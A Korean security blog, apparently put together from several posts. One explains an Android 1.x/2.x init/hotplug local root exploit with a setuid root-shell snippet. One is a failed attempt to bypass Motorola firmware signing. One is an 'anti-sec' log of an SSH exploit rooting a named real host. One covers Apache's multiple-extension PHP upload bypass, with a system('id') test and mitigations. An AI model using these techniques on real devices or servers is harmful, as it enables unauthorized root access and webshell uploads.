Android 1.x/2.x the real youdev feat. init local root exploit.
안드로이드 취약점이 발견됐습니다.
드디어 안드로이드 폰들에게 광명의 빛이.. ~~~ 올레!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
루팅의 공격 과정은 기존의 공격 방식과 좀 다릅니다.
기존의 공격 방식을 간단하게 설명하면....
- Firmware 수정을 통한 강제로 firmware 밀어 넣기.
- update.zip을 통한 루트 권한 획득.
- 커널 취약점.
이었습니다. 허나 이번 취약점은 안드로이드에서의 문제점인데요. (실제 폰에서만 동작하는... 가상의 애뮬레이터에서는 동작하지 않음)
자 초 간단 분석을 해 보도록 합시다.
--------------------------------------------------------------
이 분석 과정은 분석가 Silverbug의 지맘대로 분석으로 절대로 전문가적인 내용이 아님을 미리 밝혀드립니다.
자 그럼 공격자의 입장에서 어떤 식으로 공격이 가능한지 알아보자.
이 데이터를 소켓을 통해 강제로 보내면 된다. 내용은 아래처럼...
ACTION=add0DEVPATH=~~~~
SUBSYSTEM=firmware0~~
FIRMWARE=공격자가 지정한 hotplug 설정 파일(백도어)
/proc/sys/kernel/hotplug 에 공격자가 지정한 디렉터리의 exploid가 들어가게 되고.. 그 hotplug 실행.
그럼 root는 hotplug 파일을 공격자가 만든 hotplug 파일을 읽어들이게 되고..
hotplug 파일 안에는 hotplug의 경로가 아닌 공격자가 만든 백도어(트로잔)의 경로를 넣어두어 루트가 실행하도록 한다.
백도어는 대략 일반 리눅스에서처럼 아래의 코드처럼 작성하면 된다. (아래의 컴파일된 코드를 다른 곳으로 복사 또는 권한 변경)
char *sh[] = {"/system/bin/sh", 0};
setuid(0);
setgid(0);
execve(*sh, sh, env);
익스플로잇 코드는 root 권한으로 재마운트를 통해 rootshell을 카피하도록 하였다.
드디어 염원이던 모토로이도 루팅이 됐다. 하지만 모토로라 제품의 경우 RSA로 펌웨어를 체크하기 때문에 현재로서는 ... 사용자가 만든 펌웨어는 나올 수 가 없을 것이다. (2.2 프로요 업데이트는 업체에서 해줘야 ㅠㅠ 하는)
즉 루팅만 된다는..
아래의 URL을 통해 루팅 과정을 볼 수가 있다.
http://alldroid.org/default.aspx?g=posts&t=493
외국에 공개된 멋진 코드는 아래와 같다...
더보기
[실패기]
여러 방법을 통해 RSA로 서명된 XT720 용 update.zip을 구했습니다.
아 희망이 보이는.................... 듯 하였으나...... 털썩....
RSA 서명을 우회하기 위해 서명된 update.zip과 제가 만든 임의의 update.zip을 짬뽕시켜서 새로운 update.zip을 만들었습니다.
그리고 나서, 전에 만들어 놓은 체크 프로그램을 통해 돌려봤습니다.
// 서명된 원본 update.zip
[root@oops Root]# ./verity original.zip
EOCD SIZE : 1494
0 : 50, 1: 4b, 2: 5, 3: 6
Success
// 새로운 update.zip
[root@oops Root]# ./verity u.zip
EOCD SIZE : 25646
0 : 50, 1: 4b, 2: 5, 3: 6
EOCD marker occurs after start of EOCD
Fuck....
아 무참히 실패하네요.... 그래도... update.zip을 핸드폰에 올리고 부트로더를 통해 실행해보았습니다.
역시나 안되네요.....
모토로라에서 제공하는 RSD Lite 를 통해 부트로더 버전을 살펴보면.. 분명 버전은 낮은데..................... 왜......
// 문제의 부트로드 소스 코드.. (RSA 우회 방지를 위해 zip 파일이 두개 이상 짬뽕되면... 뻑.........가게 만들어 놓은 방어 장치)
for (i = 4; i < eocd_size-3; ++i) {
if (eocd[i ] == 0x50 && eocd[i+1] == 0x4b && eocd[i+2] == 0x05 && eocd[i+3] == 0x06) {
LOGE("EOCD marker occurs after start of EOCD\n");
fclose(f);
return VERIFY_FAILURE;
}
}
이제 부트로더를 사용한 작업은 ㅠㅠ 종료해야 할꺼 같고.....
FOTA 코드 분석해보면 /system/etc/security/otacerts.zip 키를 통해서 작업하는데...
이 부분에서는 zip 라이브러리 이용해서 키 체크하는 부분이라.. 중간에 바꿔치기 해도.. 안될꺼 같기도 하고.....
(해보긴 해야죠...)
암울합니다... SKT나 모토로라 본사 가서 개인키 좀~~~ 주세요~ 하면 맞겠죠? ㅋㅋㅋㅋ
다른 여러가지 가능성을 살펴도록 하죠. (우리는 이걸 희망이라고 말하죠?)
1. SKT Installer
SKT Installer를 봅시다. 이 프로그램은 T Store에서 프로그램을 받아 설치할때 사용하는 프로그램입니다.
저넘을 살펴보면... (기억을 되살려..... 기억이 잘 안나는데..)
배열[0] = "chmod";
배열[1] = "644";
배열[2] = "apk 위치???"
exec(배열);
이러한 코드를 사용합니다. 저는 코딩을 독학으로 배웠지만.... 보안 일을 하는 입장에서 저러한 코드는.......;; 좀 아니자나요~~~
저 프로그램이 system 권한으로 호출되기 때문에... 가능성은 희박하나마... system 권한을 획득할 수도 있습니다..... (가능성이 제로에 가깝다 하더라도..)
2. dmb 서비스인 프로그램(?) zklxsp???
분석한 내용이 많아서... 희미해가는 기억들 ㅠㅠ
root 권한으로 돌죠... 분석을 해보면... 코드가 살짝쿵 잘되어 있긴 하나...
100% 코드 분석이 안된 상태라 머라 할말은 없지만.. 가능성은 보이는???? BOF???
처음에 실행할때, 라이브러리 맞춰주고 에뮬에서 돌리면 일단 유닉스 소켓 접속부분부터 통과해야.. 제대로 동적 분석이....
3. 커널 취약점 나올때까지 죽어라 기다린다........................
(이걸 우리는 자포자기라고 부르죠. 거지근성..)
아이폰을 버리고 모토로이를 선택한 이유는 단 하나.... 미개척 분야... 앞으로의 미래....
근데 말이지.................................. 아이폰이랑 아이패드가 땡기는건 어카니~~ 어카니~
아들아!! 널 위해 꼭 루팅 해주마..!! 네가 컸을때는 자유로운 세상이.... ㅋㅋㅋ
더보기
anti-sec:~/pwn# ./map ssanz.net
IP: 66.197.143.133 ( osiris.ssanz.net )
WWW: Apache/2.2.11
SSH: SSH-2.0-OpenSSH_4.3
IP: 66.197.204.101 ( devil.ssanz.net )
WWW: Apache/2.2.11 (Unix) mod_ssl/2.2.11 OpenSSL/0.9.8e-fips-rhel5
mod_mono/2.4 mod_auth_passthrough/2.1 mod_bwlimited/1.4
SSH: SSH-2.0-OpenSSH_4.3
anti-sec:~/pwn# cd xpl/
anti-sec:~/pwn/xpl# ./0pen0wn -h 66.197.143.133 -p 22
[+] 0wn0wn – anti-sec group
[+] Target: 66.197.143.133
[+] SSH Port: 22
[~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~>]
sh-3.2# export HISTFILE=/dev/null
sh-3.2# id
uid=0(root) gid=0(root)
groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
sh-3.2# uname -a
Linux osiris.ssanz.net 2.6.24.5-grsec-hostnoc-4.0.0-x86_64-libata
#1 SMP Mon Aug 25 15:56:12 EDT 2008 x86_64 x86_64 x86_64 GNU/Linux
더보기
1 일반적인 Apache 설치 시 문제점
이 취약점은 Apache를 사용하고 파일을 업로드 할 때 생기는 문제점으로, 현재 웹 호스팅 업체 및 기타 거의 대부분의 사이트에서 보안 설정을 하지 않는다.
가) 어떠한 문제가 생기는가?
일반적으로 Apache를 설정할 때, 중요한 한가지를 빠뜨리는 경향이 있다. (아마 대부분 그럴 것이다.) 이 중요한 한가지를 제외하고 설정을 했을 때, 어떠한 문제가 일어나는지 살펴보자.
본론으로 넘어와서, 간단하게 테스트 해 보도록 하자. 자신의 서버나 게시판이 존재한다면, php 파일을 작성해 보도록 하자.
|
<? system(“id”); phpinfo(); ?> |
1. 위의 작성한 파일을 “test.php”로 저장해 보도록 하자.
결과는 다음과 같다. (정상적으로 “PHP“ 실행 됨.)
2. 다시 한번 위의 작성한 내용을 “test.silverbug” 파일이름으로 저장하고 실행해보자.
결과는 다음과 같다. (“PHP” 실행 불가”)
3. 마지막으로 다시 한번 위에서 작성한 내용을 “test.php.silverbug” 파일이름으로 저장하고 실행해보자.
어떻게 예상하는가? 당신이 상상한 그 이상의 결과를 내뿜을 것이다.
결과는 다음과 같다.
황당하고 어이 없어 하는 사람들도 있을 것이다. 너무 황당하지 않는가? 처음 버그를 실수로 발견했는데, 필자는 “왜 이제까지 아무런 이슈가 없었을까?” 라는 생각을 했다.
또한 왜? 필자는 취약점이라고 하지 않고, 설정상의 문제라고 했을까? 필자 또한 취약점으로 무지 심각하게 오해하고, 거의 1년간 Apache Security Team에 신고를 하려고 했으나, 바쁜 일정과 아직 태어나지는 않았지만, 잘 자라고 있는 우리 아들을 돌보느라 최근에 Apache Security Team에 상황을 보고 했다.
2~3번 정도의 메일을 통한 대화 끝에, 취약점이 아니라 일부러 그렇게 만들어 놨다는 것이다. 왜? 효율성 때문에…… (사실 Apache Security Team에 보고하기 전에 소스를 확인하면서 취약점이 아닐 꺼 같다는 생각을 강하게 받았었다. 혹시나 했는데.. 역시나……)
하지만.. 존재하지 않은 MIME 값에 대해서는 예외 처리를 당연히 해줘야 하지 않은가… 아파치 쪽에서는 패치 할 의향이 없다라는 답변만 돌아 옴.
국내외 거의 대부분의 사이트에서 설정을 사용하지 않는다면, 문제가 될 수 밖에 없는데…
나) 왜 그러한 문제가 생기는 것일까?
왜 이러한 문제가 생기는지 간단하게 설명하면, Apache 웹 서버의 Mime 모듈은 다양하게, MIME을 받으려고 하는 부분에서 문제가 생긴다. 그럼 소스를 보고 간단하게 코드를 보면서 살펴보도록 하자.
|
Source File : mod_mime.c Function Name : find_ct(request_rec *r) fn = strrchr(r->filename, '/'); … ext = ap_getword(r->pool, &fn, '.'); /* Parse filename extensions, which can be in any order */ while ((ext = ap_getword(r->pool, &fn, '.')) && *ext) { int found = 0; if ((type = ap_table_get(conf->forced_types, ext)) || (type = ap_table_get(hash_buckets[hash(*ext)], ext))) { r->content_type = type; found = 1; } … |
일단 간단하게 MIME Type만 체크하는 부분의 코드를 보도록 하자. 위 코드를 살펴보면 입력된 파일명을 받아서 “.”으로 끊으면서 반복하게 된다. 즉, “a.b.c” 파일이 존재할 경우 b와 c 둘 다 확장자로 인식한다는 뜻이다.
(유독 MIME 모듈에서만 이러한 형태를 취하고 있다. 다른 모듈 소스는 “strrchr”을 통해 실제 마지막 확장자만을 확장자로 인식한다.)
여기서 ap_table_get 함수를 이용하여 확장자에 맞는 Content-Language, Content-Type, Special Handler, Content-Type을 결정하여, “r” 구조체 변수에 담게 된다.
만약 a.php.jpg 파일이 입력되면, 처음에 php 확장자의 각 Content 정보를 ‘r” 구조체 변수에 담고, 다시 jpg 확장자의 각 Content 정보를 “r” 구조체에 담는다. 즉 마지막에는 jpg 확장자의 Content 정보만 “r” 구조체 변수에 들어간다는 것이다. 하지만 여기서 중요한 점이 있다. 코드를 살펴보면 ap_table_get 함수를 통해 입력된 확장자가 등록되지 않은 확장자라면??? “r” 구조체 변수는 기존 정보를 그대로 유지한다는 것이다.(사실 왜 이렇게 했는지 이해가 안될 뿐이다.)
즉 “test.php.silverbug”라면 “silverbug”라는 확장자는 아파치 설정에 포함되어 있지 않기 때문에, 기존에 입력된 “php” 확장자의 Content 정보를 가져간다는 것이다.
위의 문제점(?)이 어디에 약용될 것인가? 대부분의 Web Application은 실행 가능한 확장자를 업로드 하지 못하도록 필터 링하고 있다. 하지만 이러한 필터 링 방식을 살펴보면, 젤 마지막 실제 확장자만을 체크하여 비교 체크를 한다. 이러한 경우 웹 서버 설정을 잘못해놨을 경우 php나 cgi 파일을 업로드 하여, 웹 서버의 사용자 권한을 획득할 수 있다.
2 문제점 해결 방법
가) Application 에서의 보안
① 파일 업로드 기능을 가지고 있는 웹 어플리케이션에서 확장자 체크를 끝부분만 하지 않고 임시적으로 전체 파일명에 대해 필터 링 기능을 가지고 있어야 한다
② 등록 불가능한 확장자를 체크하는 방식보다는 등록 가능한 확장자만을 체크하여 필터링 하여야 한다.
③ 파일을 업로드 할 때 실제 파일명은 데이터베이스에 기록하고, 실제로 파일이 저장될 때 파일명/확장자를 임의적으로 저장(File, DB)하도록 한다.
나) httpd.conf 파일 수정
FileMatch를 사용하여 확장자 끝부분($)만 비교하도록 설정한다.
다음과 같다.
CGI 파일 확장자(다른 확장자 사용시, 그에 맞는 확장자 확장 설정 필요)
|
SetHandler cgi-script
|
PHP 파일 확장자(다른 확장자 사용시, 그에 맞는 확장자 확장 설정 필요)
|
<FilesMatch \.php$> SetHandler application/x-httpd-php </FilesMatch> 또는 <FilesMatch "\.ph(p[2-6]?|tml)$"> SetHandler application/x-httpd-php </FilesMatch> 그리고 소스는 <FilesMatch "\.phps$"> SetHandler application/x-httpd-php-source </FilesMatch> |
다) Source Code에서의 보안
mod_mine.c 파일의 find_ct 함수의 내용 중 ap_table_get에서 값을 얻어오지 못할 경우, else 처리를 하여 “r” 구조체 변수를 NULL 처리하도록 한다.
|
# php, etc… Patch if ((type = ap_table_get(conf->forced_types, ext)) || (type = ap_table_get(hash_buckets[hash(*ext)], ext))) { r->content_type = type; found = 1; fprintf(fp, "File Type Name :: %s\n", type); } else { found = 0; r->content_type = NULL; } ……. # cgi, etc… Patch /* Check for a special handler, but not for proxy request */ if ((type = ap_table_get(conf->handlers, ext)) && r->proxyreq == NOT_PROXY) { r->handler = type; found = 1; } else { found = 0; r->handler = NULL; } |
[참고 사이트]
http://www.php.net/manual/en/install.unix.apache2.php
http://httpd.apache.org/docs/2.2/en/mod/mod_mime.html#multipleext
PDF 문서는 다운로드 받아서 보세요!~